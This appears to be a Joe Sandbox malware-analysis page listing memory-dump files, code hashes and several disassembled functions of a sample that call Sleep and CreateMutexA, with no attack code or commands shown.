Associated: 00000000.00000002.1727175009.00000000002D6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727187209.00000000002D7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727557697.0000000000432000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727594203.0000000000435000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727642708.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727642708.0000000000453000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727712182.0000000000458000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727726725.000000000045D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727742425.0000000000468000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727777307.000000000046E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727801147.0000000000483000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727844747.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727862153.000000000048D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727901839.0000000000495000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727917787.0000000000496000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727931946.0000000000497000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727974524.00000000004B7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728038746.00000000004BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728056007.00000000004BC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728097937.00000000004C7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728113920.00000000004CE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728333746.00000000004CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728409290.00000000004D7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728454814.00000000004DC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728527768.00000000004DD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728556941.00000000004DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728578849.00000000004E6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728600406.00000000004E7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728622860.00000000004E8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728706795.00000000004E9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728779470.00000000004EB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729697021.00000000004F0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730219787.00000000004F9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730233224.00000000004FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730245794.0000000000509000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730256625.000000000050A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730268868.0000000000517000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730280982.000000000051B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730295637.000000000052E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730306730.000000000052F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730306730.000000000053B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1733425759.0000000000551000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734197930.0000000000553000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735664364.0000000000567000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735740951.0000000000568000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735775215.0000000000569000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735803184.000000000056C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735839394.000000000056E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735880062.000000000057E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735917917.000000000057F000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_260000_file.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2,
API String ID: 1464230837-1264347116
Opcode ID: 724843d126946d14ea9d4ce516e81d7e0882f2456bb76767e46cfe6a1ea4f89b
Instruction ID: 1a170aaa61e6d3578f70dcc1104b29f5b8299cd81befb9034dc6ef006f7b2632
Opcode Fuzzy Hash: 724843d126946d14ea9d4ce516e81d7e0882f2456bb76767e46cfe6a1ea4f89b
Instruction Fuzzy Hash: 9C312531A211018BEF08EB7CD889B6CB7A6EF85314F248659E415AB2D5C7759DE08E12

Function 0026A682 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 131
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 0026A963
CreateMutexA.KERNEL32(00000000,00000000,002C3254), ref: 0026A981

Strings

T2,, xrefs: 0026A970

Memory Dump Source

Source File: 00000000.00000002.1727101383.0000000000261000.00000040.00000001.01000000.00000003.sdmp, Offset: 00260000, based on PE: true

Associated: 00000000.00000002.1727089518.0000000000260000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727101383.00000000002C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727139422.00000000002C9000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727150208.00000000002CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727163064.00000000002D5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727175009.00000000002D6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727187209.00000000002D7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727557697.0000000000432000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727594203.0000000000435000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727642708.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727642708.0000000000453000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727712182.0000000000458000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727726725.000000000045D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727742425.0000000000468000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727777307.000000000046E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727801147.0000000000483000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727844747.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727862153.000000000048D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727901839.0000000000495000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727917787.0000000000496000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727931946.0000000000497000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727974524.00000000004B7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728038746.00000000004BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728056007.00000000004BC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728097937.00000000004C7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728113920.00000000004CE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728333746.00000000004CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728409290.00000000004D7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728454814.00000000004DC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728527768.00000000004DD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728556941.00000000004DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728578849.00000000004E6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728600406.00000000004E7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728622860.00000000004E8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728706795.00000000004E9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728779470.00000000004EB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729697021.00000000004F0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730219787.00000000004F9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730233224.00000000004FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730245794.0000000000509000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730256625.000000000050A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730268868.0000000000517000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730280982.000000000051B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730295637.000000000052E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730306730.000000000052F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730306730.000000000053B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1733425759.0000000000551000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734197930.0000000000553000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735664364.0000000000567000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735740951.0000000000568000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735775215.0000000000569000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735803184.000000000056C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735839394.000000000056E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735880062.000000000057E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735917917.000000000057F000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_260000_file.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2,
API String ID: 1464230837-1264347116
Opcode ID: 18b6c47a8937a550425e2fabb9586b6132c1fc76d2c523e036eea60f9c2db06c
Instruction ID: 7bc1e231e74b3491019780f5bd13540d8f8f1816920a73eea94cacb823204d47
Opcode Fuzzy Hash: 18b6c47a8937a550425e2fabb9586b6132c1fc76d2c523e036eea60f9c2db06c
Instruction Fuzzy Hash: 853148316202018BEF08EB7CDD89B6DB7B6EF81310F248659E014A72D5C7759DE08A52

Function 00269ADC Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 107
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 0026A963
CreateMutexA.KERNEL32(00000000,00000000,002C3254), ref: 0026A981

Strings

T2,, xrefs: 0026A970

Memory Dump Source

Source File: 00000000.00000002.1727101383.0000000000261000.00000040.00000001.01000000.00000003.sdmp, Offset: 00260000, based on PE: true

Associated: 00000000.00000002.1727089518.0000000000260000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727101383.00000000002C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727139422.00000000002C9000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727150208.00000000002CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727163064.00000000002D5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727175009.00000000002D6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727187209.00000000002D7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727557697.0000000000432000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727594203.0000000000435000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727642708.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727642708.0000000000453000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727712182.0000000000458000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727726725.000000000045D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727742425.0000000000468000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727777307.000000000046E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727801147.0000000000483000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727844747.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727862153.000000000048D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727901839.0000000000495000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727917787.0000000000496000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727931946.0000000000497000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727974524.00000000004B7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728038746.00000000004BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728056007.00000000004BC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728097937.00000000004C7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728113920.00000000004CE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728333746.00000000004CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728409290.00000000004D7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728454814.00000000004DC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728527768.00000000004DD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728556941.00000000004DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728578849.00000000004E6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728600406.00000000004E7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728622860.00000000004E8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728706795.00000000004E9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728779470.00000000004EB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729697021.00000000004F0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730219787.00000000004F9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730233224.00000000004FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730245794.0000000000509000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730256625.000000000050A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730268868.0000000000517000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730280982.000000000051B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730295637.000000000052E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730306730.000000000052F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730306730.000000000053B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1733425759.0000000000551000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734197930.0000000000553000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735664364.0000000000567000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735740951.0000000000568000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735775215.0000000000569000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735803184.000000000056C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735839394.000000000056E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735880062.000000000057E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735917917.000000000057F000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_260000_file.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2,
API String ID: 1464230837-1264347116
Opcode ID: d26c4df9f32a38b08f71b906865869151aaae0447e38684b8d008ca502b73e68
Instruction ID: c6f1149addd358ce00e42f0512f4f1b0b4ad59ff7763454f5b94b5ef2d8be4e7
Opcode Fuzzy Hash: d26c4df9f32a38b08f71b906865869151aaae0447e38684b8d008ca502b73e68
Instruction Fuzzy Hash: 98217C326242019BEF18EF6CEC89B6CB7A9EBD1310F20865DE408D72D5CB755DE08A12

Function 0026A856 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 0026A963
CreateMutexA.KERNEL32(00000000,00000000,002C3254), ref: 0026A981

Strings

T2,, xrefs: 0026A970

Memory Dump Source

Source File: 00000000.00000002.1727101383.0000000000261000.00000040.00000001.01000000.00000003.sdmp, Offset: 00260000, based on PE: true

Associated: 00000000.00000002.1727089518.0000000000260000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727101383.00000000002C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727139422.00000000002C9000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727150208.00000000002CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727163064.00000000002D5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727175009.00000000002D6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727187209.00000000002D7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727557697.0000000000432000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727594203.0000000000435000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727642708.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727642708.0000000000453000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727712182.0000000000458000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727726725.000000000045D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727742425.0000000000468000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727777307.000000000046E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727801147.0000000000483000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727844747.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727862153.000000000048D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727901839.0000000000495000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727917787.0000000000496000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727931946.0000000000497000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727974524.00000000004B7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728038746.00000000004BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728056007.00000000004BC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728097937.00000000004C7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728113920.00000000004CE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728333746.00000000004CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728409290.00000000004D7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728454814.00000000004DC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728527768.00000000004DD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728556941.00000000004DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728578849.00000000004E6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728600406.00000000004E7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728622860.00000000004E8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728706795.00000000004E9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728779470.00000000004EB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729697021.00000000004F0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730219787.00000000004F9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730233224.00000000004FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730245794.0000000000509000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730256625.000000000050A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730268868.0000000000517000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730280982.000000000051B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730295637.000000000052E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730306730.000000000052F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730306730.000000000053B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1733425759.0000000000551000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734197930.0000000000553000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735664364.0000000000567000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735740951.0000000000568000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735775215.0000000000569000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735803184.000000000056C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735839394.000000000056E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735880062.000000000057E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735917917.000000000057F000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_260000_file.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2,
API String ID: 1464230837-1264347116
Opcode ID: 52ac4cb05dbe275e085d3f91978e9c5626cac266031620d90f79cffde98f0e02
Instruction ID: 3877c081cbdca7305e5cc73b0912c668a6e849c69185f63ac791daa7f39fa68f
Opcode Fuzzy Hash: 52ac4cb05dbe275e085d3f91978e9c5626cac266031620d90f79cffde98f0e02
Instruction Fuzzy Hash: AB2160312752028AFF146B6C985B72D7651EF82304F244C16E508A72C1CB764CE08D93

Function 0026A34F Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 0026A963
CreateMutexA.KERNEL32(00000000,00000000,002C3254), ref: 0026A981

Strings

T2,, xrefs: 0026A970

Memory Dump Source

Source File: 00000000.00000002.1727101383.0000000000261000.00000040.00000001.01000000.00000003.sdmp, Offset: 00260000, based on PE: true

Associated: 00000000.00000002.1727089518.0000000000260000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727101383.00000000002C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727139422.00000000002C9000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727150208.00000000002CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727163064.00000000002D5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727175009.00000000002D6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727187209.00000000002D7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727557697.0000000000432000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727594203.0000000000435000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727642708.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727642708.0000000000453000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727712182.0000000000458000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727726725.000000000045D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727742425.0000000000468000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727777307.000000000046E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727801147.0000000000483000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727844747.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727862153.000000000048D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727901839.0000000000495000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727917787.0000000000496000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727931946.0000000000497000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727974524.00000000004B7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728038746.00000000004BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728056007.00000000004BC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728097937.00000000004C7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728113920.00000000004CE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728333746.00000000004CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728409290.00000000004D7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728454814.00000000004DC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728527768.00000000004DD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728556941.00000000004DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728578849.00000000004E6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728600406.00000000004E7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728622860.00000000004E8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728706795.00000000004E9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728779470.00000000004EB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729697021.00000000004F0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730219787.00000000004F9000.00000080.00000001.01000000.00000003.sdmpDownload File
